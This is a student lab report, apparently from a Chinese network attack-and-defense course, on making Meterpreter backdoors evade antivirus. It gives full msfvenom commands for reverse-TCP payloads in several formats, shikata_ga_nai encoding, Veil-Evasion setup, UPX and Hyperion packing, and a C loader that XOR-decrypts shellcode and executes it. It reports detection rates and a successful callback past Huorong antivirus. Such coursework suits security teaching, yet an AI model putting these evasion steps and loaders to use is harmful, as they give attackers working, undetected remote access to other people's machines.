首页 > 其他分享 >20222420 2024-2025-1 《网络与系统攻防技术》实验三实验报告

20222420 2024-2025-1 《网络与系统攻防技术》实验三实验报告

时间:2024-10-30 21:09:40浏览次数:1  
标签:exe 48 veil 检出率 2024 2025 20222420 shellcode

20222420 2024-2025-1 《网络与系统攻防技术》实验三实验报告

1.实验内容

1.1 本周学习内容

1.1.1 后门技术

接着上一节课的内容继续学习了

  • 进程隐藏技术,它还包含
    • 基于 DLL 的进程隐藏技术:远程注入Dll技术
    • 基于远程线程注入代码的进程隐藏技术
    • Rootkit方式 分用户级和内核级
  • 数据穿透与躲避技术:加密、隧道、反弹端口
1.1.2 简单后门实践基础
  • netcat
  • Meterpreter
    Metasploit框架中的一个扩展模块,本质为Payload集
  • Veil Evasion
    为免杀工具
1.1.3 免杀
  • 杀毒软件原理
    • 特征码、启发式、基于行为
    • 校验和
    • 机器学习
  • 免杀技术
    • 修改特征码 最初的方法
    • 修改校验和
    • 花指令免杀 阻止反汇编程序。若杀毒软件不能识别,则其不能正确定位特征码
    • 加壳免杀 系统先运行“壳”,由壳将加密或压缩的程序逐步还原到内存中,最后运行
      加壳免杀还含虚拟机保护技术,将原本的汇编指令转换为另一种表现形式,以使不被轻易逆向、修改
    • 内存免杀
      加壳免杀用于扫描文件时。杀毒软件在文件扫描和内存扫描的特征码不同,在内存中继续使用之前的免杀技术

1.2 实验任务

  • 正确使用msf编码器,veil-evasion,利用shellcode编程等免杀工具或技巧
    • 使用msf编码器,通过msfvenom生成如jar之类的其他文件
    • veil-evasion,加壳工具
    • 使用C + shellcode编程
  • 通过组合应用各种技术实现恶意代码免杀
    如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。
  • 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

2.问题回答

  • 杀软是如何检测出恶意代码的?
    特征码、校验和、机器学习等
  • 免杀是做什么?
    避免后门等被杀毒软件查杀
  • 免杀的基本方法有哪些?
    修改特征码、修改校验和,加壳等

3.实验过程

3.1 正确使用msf编码器,veil-evasion,利用shellcode编程等免杀工具或技巧

3.1.1 使用msf编码器,通过msfvenom生成如jar之类的其他文件
  • 使用VirusTotal、Virscan来检测不编码生成的.exe后门程序
    生成该程序的命令为msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.150.172 LPORT=2420 -f exe > 20222420_backdoor.exe
    VirusTotal检出率为62/73,Virscan检出率为25/48

  • 使用编码器x86/shikata_ga_nai进行一次编码后生成.exe后门程序
    msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.150.172 LPORT=2420 -f exe > 20222420_backdoor1.exe
    VirusTotal检出率为61/73,Virscan检出率为26/48。相比不编码,VirusTotal检出率微量下降,Virscan检出率微量上升

  • 使用编码器x86/shikata_ga_nai进行多次次编码后生成.exe后门程序(迭代60次以上将无法构造有效的编码排列)
    • 10次
      msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.150.172 LPORT=2420 -f exe > 20222420_backdoor10.exe
      VirusTotal检出率为62/73,Virscan检出率为26/48,相比1次编码,VirusTotal检出率微量上升

    • 60次
      msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 60 -b '\x00' LHOST=192.168.150.172 LPORT=2420 -f exe > 20222420_backdoor60.exe
      VirusTotal检出率为61/73,Virscan检出率为25/48,相比10次,检出率微量下降

  • 使用编码器生成其他格式的后门程序(.php、.jar、.apk、.elf)
    • 生成.php格式的文件
      msfvenom -p php/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.150.191 LPORT=2420 -f raw > 20222420_backdoor.php
      image
      VirusTotal检出率为9/63,Virscan检出率为2/48
      image
      image

    • 生成.jar格式的文件,无法使用编码
      msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.150.191 LPORT=2420 -f jar> 20222420_encoder.jar
      VirusTotal检出率为34/66,Virscan检出率为13/48
      image
      image

    • 生成.apk格式的文件
      msfvenom -p android/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.150.191 LPORT=2420 > 20222420_backdoor.apk
      image
      VirusTotal检出率为10/63,Virscan检出率为3/48
      image
      image

    • 生成.elf格式的文件
      msfvenom -p linux/x86/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.150.191 LPORT=2420 > 20222420_backdoor.elf

      VirusTotal检出率为11/62,Virscan检出率为4/48


      综上,得到如下列表
      可知,
      (1)编码对检出.exe文件基本没影响,且.exe格式的检出率在所有测试格式中最高
      (2)检出率次高的是.jar格式
      (3).php、.apk、.elf编码次数均为10,检出率基本在同一个档次(在所有测试格式检出率最低)

      格式 编码次数 VirusTotal检出率 Virscan检出率
      .exe 0 62/73 25/48
      .exe 1 61/73 26/48
      .exe 10 62/73 26/48
      .exe 60 61/73 25/48
      .php 10 9/63 2/48
      .jar 0 34/66 13/48
      .apk 10 10/63 3/48
      .elf 10 11/62 4/48
3.1.2 veil-evasion,加壳工具
  • (1)配置veil是一件比较困难的事情,我参考了github上关于veil的readme和issues,并根据报错信息查看了配置文件/usr/share/veil/config/setup.sh才弄懂了问题的所在,然后才经过一些改动成功地配置了veil。配置veil的过程如下,具体为什么进行改动将在“问题及解决方案”部分详细解释
    • 按照readme中的说法,要么用apt下载,要么用git下载。因用git下载仍有报错且apt下载命令仅两行,所以我选择用apt下载
      同时,readme中要求要么用sudo,要么用root用户,所以我决定两个都用,先用sudo su切换到root用户,然后输入第一行命令
      sudo apt -y install veil
    • 这时需要进行第一个改动:用vim打开/usr/share/veil/config/setup.sh,将587行处的内容改为sudo -u "${trueuser}" WINEPREFIX="${winedir}" wine "${winedir}/drive_c/Python34/python.exe" "-m" "pip" "install" "-Iv" "pefile==2019.4.18"
    • 然后进行第二个改动,在桌面(或其他自己熟悉的目录)打开一个终端,执行sudo git clone https://github.com/Veil-Framework/VeilDependencies.git,即从git上克隆一个veil的依赖库

      再用vim打开/usr/share/veil/config/setup.sh,输入/Veil-Fr,找到sudo git clone https://github.com/Veil-Framework/VeilDependencies.git "${dependenciesdir}"的位置,将其改为cp -r /home/s20222420/Desktop/VeilDependencies "${dependenciesdir}",退出并保存
    • 这时所有需要的改动完成,可以使用第二行命令,等待其完成便配置好veil了。经过查看,过程中没有任何error或warning
      /usr/share/veil/config/setup.sh --force --silent
  • (2)开始使用veil
    • 打开veil
    • 选择工具,选用Evasion
    • 输入list,查看可用的payloads
    • 选择第7个payload,即c/meterpreter/rev_tcp.py
      use 7

      通过其上的描述或下面github里的描述,可知是用于攻击windows的反弹连接
    • 接下来,设置LHOST和LPORT,然后generate
  • (3)检测veil的效果
    VirusTotal检出率为43/73,Virscan检出率为17/48。相比实验第一次检测中的62/73,25/48,可知有一定的免杀效果。

3.1.3 使用C + shellcode编程
  • 用msfvenom工具来生成一个C语言的源代码格式的有效载荷
    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.150.192 LPORT=2420 -f c
  • 用生成的shellcode编写.c文件。强制转化shellcode为函数指针类型,并让一个变量接收,执行这个变量便执行了该shellcode
  • 利用指令i686-w64-mingw32-g++进行编译,得到exe文件。这个编译器专门用于生成 32 位 Windows 应用程序
    i686-w64-mingw32-g++ 20222420_c_shellcode.c -o 20222420_c_shellcode.exe
  • 测试
    VirusTotal检出率为35/60,Virscan检出率为15/48。相比veil,检出率又均有一定下降

3.1.4 使用加壳工具
  • (1)使用压缩壳UPX
    • 使用指令upx 20222420_c_shellcode.exe -o 20222420_c_upx_shellcode.exe,给上一个步骤生成的20222420_c_shellcode.exe加一个压缩壳。
    • 测试
      VirusTotal检出率为46/72,Virscan检出率为11/48。相比原本的文件,VirusTotal检出率上升,Virscan检出率下降。说明VirusTotal比Virscan对UPX记录得更多。

  • (2)使用加密壳Hyperion
    • 使用指令如下
      wine /usr/share/windows-resources/hyperion/hyperion.exe -v /home/s20222420/Desktop/20222420_c_shellcode.exe /home/s20222420/Desktop/20222420_c_hyp_shellcode.exe注意需要在root下执行


    • 测试
      VirusTotal检出率为54/73,Virscan检出率为21/48。相比原本的文件,检出率均上升,且均高于使用UPX。说明加密壳Hyperion被记录得更加广泛。

3.2 通过组合应用各种技术实现恶意代码免杀(描述原理,仅要与杀软共生截图)

  • 发现:同一份C语言程序,在linux下编译和在windows下编译,在VirusTotal中的差距极大
    • Linux下用i686-w64-mingw32-g++交叉编译,检出率为23/70
    • windows下codeblocks中编译,检出率为4/72。
  • 大量试验中我的思考过程
    • Thread1:Linux下加壳后检出率反而提升,于是我决定不加壳
    • Thread2:veil生成的后门效果虽然比msf编码的效果好但检出率仍不低,且还不能改动,于是我将使用"编码+c+shellcode"
    • Thread3:使用"编码+c+shellcode",检出率仍较高,为进一步降低检出率,于是考虑将shellcode加密
    • Thread4:单纯使用异或0x01变动shellcode且main函数不将其解密,以及异或一个密钥变动shellcode且main函数中将其解密,这种两种方式的检出率均较低,如后者在linux编译后检出率为28/72,在windows编译后检出率为11/72
  • 具体实现过程
    • 使用msf编码器生成编码十次后的shellcode并输出到新建文件20222420_shellcode.txt
      msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.150.192 LPORT=2420 -f c > 20222420_shellcode.txt
    • 编写、编译、运行加密程序20222420_enc,将20222420_shellcode.txt中的shellcode用0x05加密各个字节
    • 将加密后的shellcode放在新建文件20222420_shellcode2.c中
    • 在20222420_shellcode2.c中加入main函数,用于将加密后的shellcode解密并执行
点击查看代码
int main(){
	int i;
	for(i=0;i<sizeof(buf);i++)
	{
		buf[i] ^= 0x05;
	}
	int (*func)() = (int(*)())buf;
	func();
}
  • 上述20222420_shellcode2.c只是一个临时文件,现在将文件中编写好的代码复制在windows环境下编译,文件夹名为20222420_shellcode2

    • 杀软扫描
      使用火绒安全软件,版本为6.0.3.0
      20222420_shellcode2.exe并未被查出,仅查出20222420_shellcode10.exe
  • 额外的想法
    参考音频的cda格式,只存地址,将shellcode打散存储,用一个数组存储指向各个shellcode分片的地址,然后在需要执行shellcode时一片片找,可找一片执行一片,也可找完后按数组顺序一片片执行。
    也许可以将main函数改为如下,但shellcode也许不能一个字节一个字节地执行,可以改分为能执行的块。

main函数
int main()
{   //由于若要将buf随机存储,编写代码时间较长,我这里仅将其分为两个部分
    unsigned char buf1[sizeof(buf)] ; //存储buf的偶数部分
    unsigned char buf2[sizeof(buf)] ; //存储buf的奇数部分
    int i=0;
    for(i=0;i<sizeof(buf);i++)
    {
        if(i%2==0) buf1[i/2]=(unsigned char)(buf[i]^0x05); //存储buf的偶数部分并解密,这样无论内容是否被加密,单独看buf1就是无毒的
        else buf2[(i-1)/2]=(unsigned char)(buf[i]^0x05);   //存储buf的奇数部分并解密,这样无论内容是否被加密,单独看buf2就是无毒的
    }
    int (*func[sizeof(buf)])();     //func为指向函数指针的指针,即函数指针数组
    for(i=0;i<sizeof(buf);i++)      //找到每一个buf分片
    {
        if(i%2==0)
        {
            func[i] = (int(*)())&buf1[i/2];       //若要改进,其实也可以在这里解密并执行,且可以执行一片清空一片
        }
        else func[i] = (int(*)())&buf2[(i-1)/2];
    }
    for(i=0;i<sizeof(buf);i++)      //相当于将每一个字节当作一个函数指针指向的空间,要执行这个字节就只能顺序执行每一个指针,而func就是一个顺序存储各个指针的数组的指针。这样避免了仅一个函数指针就暴露整个shellcode
        func[i]();

}

3.3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

在kali中输入
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.150.192
set LPORT 2420
exploit
使用火绒安全软件,版本为6.0.3.0
在杀软开启的情况下,在windows主机上运行生成的程序,可以看到成功回连成功。

4.问题及解决方案

  • 问题1:安装配置veil时报错
  • 问题1解决方案:1.根据报错信息知道是Python pip pefile报错,在github上查找相关问题,发现pefile不支持相关python,在setup.sh中改变pefile的版本为2019.4.18便可解决这个问题。2.解决了Python pip pefile的问题,我又遇到了报错,通过报错信息知道是克隆时无法连接到github,这是网络的问题,但我单独在终端中运行setup.sh中相关的克隆命令时并没有出错。于是我将其克隆在桌面,然后将setup.sh中的克隆命令改为cp命令,将克隆到桌面的文件夹复制到原需克隆至的目录。然后我便成功安装配置了veil。
  • 问题2:使用加密壳时出错
  • 问题2解决方案:可能是权限不够,转换在root用户下运行便成功了。
  • 问题3:msfvenom生成exe文件后无法在windows下执行并连接
  • 问题3解决方案:经过试验排除了payload不是x64的问题,发现需要-f exe参数才能使其可执行并连接。不用-f exe而用x或什么都不加,是都不能执行并连接的。

5.学习感悟、思考等

在本次实验中,通过使用msf编码器、veil-evasion、加壳工具以及C + shellcode编程等多种技术和工具,我学习了如何在保持恶意代码功能性的同时,尽可能地避免被杀毒软件检测和拦截。
在实验过程中,我遇到了不少问题,比如veil的安装配置错误、加密壳的使用权限问题以及msfvenom生成文件无法执行的问题。这些问题一度让我感到困惑和沮丧,但通过不断查阅文档、搜索解决方案和反复试验,我最终成功地克服了这些障碍。这些经历不仅提升了我的问题解决能力,也让我更加深刻地体会到了实践的重要性。
经过本次实验,我深刻体会到,在网络安全领域,恶意代码的隐藏和检测是一个相互博弈的过程。一方面,攻击者会不断尝试使用新的技术手段来躲过安全检测,另一方面,安全厂商也会不断更新和升级他们的检测算法来应对这些威胁。

参考资料

标签:exe,48,veil,检出率,2024,2025,20222420,shellcode
From: https://www.cnblogs.com/SAltria/p/18490343

相关文章

  • 20222424 2024-2025-1 《网络与系统攻防技术》实验三实验报告
    202224242024-2025-1《网络与系统攻防技术》实验三实验报告1.实验内容(1)正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧正确使用msf编码器,使用msfvenom生成如jar之类的其他文件veil,加壳工具使用C+shellcode编程(2)通过组合应用各种技术实现恶......
  • 2024-SHCTF Web WP
    [Week1]1zflask按照提示访问robots.txt,访问/s3recttt得到一个python文件在api路由传参,直接执行命令得到[email protected]('/api')defapi():cmd=request.args.get('SSHCTFF','ls/')result=os.popen(cmd).read()returnresult[Week1......
  • 软件著作权申请教程(超详细)(2024新版)软著申请
                  目录一、注册账号与实名登记二、材料准备三、申请步骤1.办理身份2.软件申请信息3.软件开发信息4.软件功能与特点5.填报完成一、注册账号与实名登记    首先我们需要在官网里面注册一个账号,并且完成实名认证,一般是注册【个人】......
  • 2024年网鼎杯青龙组 pwn
    pwn2开局泄露栈地址,又是栈溢出,直接栈转移拿下frompwnimport*fromLibcSearcherimportLibcSearcher#fromCrypto.Util.numberimportbytes_to_long,bytes_to_long#--------------------settingcontext---------------------context.clear(arch='amd64',os='linux&#......
  • 2024最新Instagram养号攻略!海外社媒起号码住了
    Instagram至今仍然是全球顶级的流量平合,不仅在国外是各大网红明星必备app,国内下载量也居高不下,但从2018年下半年开始加大了对新账号的监控和权限限制。新注册的账号会受到诸多限制,稍不慎就会进入安全模式或者被封,所以如果你正打算为企业或个人运营Instagram账号,做好养号成了必......
  • 海外联盟营销入门:2024最新指南
    在联盟营销(AffiliateMarketing)过程中,人们往往会在项目所需的电商、博客、社媒等平台上推广产品或服务以获得佣金收入,有数据显示联盟营销为数字媒体行业带来了15%的增长收入。然而,在联盟营销带来利润丰厚的同时,他也存在一个难题:有效的多账户管理。如果没有合适的工具,联盟营销很......
  • 2024-10-30 学习人工智能的Day18
    Python包和模块当使用Python编程时,包(Packages)和模块(Modules)是两个关键的概念,它们有助于组织、管理和复用代码。1.模块(Modules)1.1什么是模块一个.py文件就是一个模块模块是含有一系列数据,函数,类等的程序作用把相关功能的函数等放在一起有利于管理,有利于多人合作开......
  • 2024做题计划
    难度范围:[绿-紫]CSP-S2024T3染色首先动态规划显然,如何呢?不难设\(f_{i}\)表示对于前\(i\)个数来说的话,以\(i\)为结尾的答案的最大值,为啥是答案,因为这样可以直接转移\(f_i=\max_{1\leqj<i}^{f_j+calc(j+1,i)+[a_j=a_i]\timesa_i}\)当然还有\(f_i=\max{f_{i-1},f_i}\)......
  • 2024.10.30 2022广西省赛
    Solved:11/12Penalty:1059Rank:1/146(N+2)Dirt:48%ProblemABCDEFGHIJKL题数罚时Time1122141271076128398415916111059dirt31132A,B,G,H,L:签到F直接扔一个带修莫队板子上去就过了。虽然1000的值域应该有点说法。。。#inc......
  • NOIP2024 模拟赛19
    A拆位算贡献,枚举每一个位置,与操作两者都是\(1\),异或操作相反,或操作有一个是\(1\)即可。B观察到条件\(a_1\lek\)证明是必然有答案的,答案这样构成:从\(1\)走到任意点\(j\),然后\(j\)挖空,然后推到\(i\),记\(f_i\)为从\(1\)走到\(i\)的最小花费,答案\(i\)即为\(f_......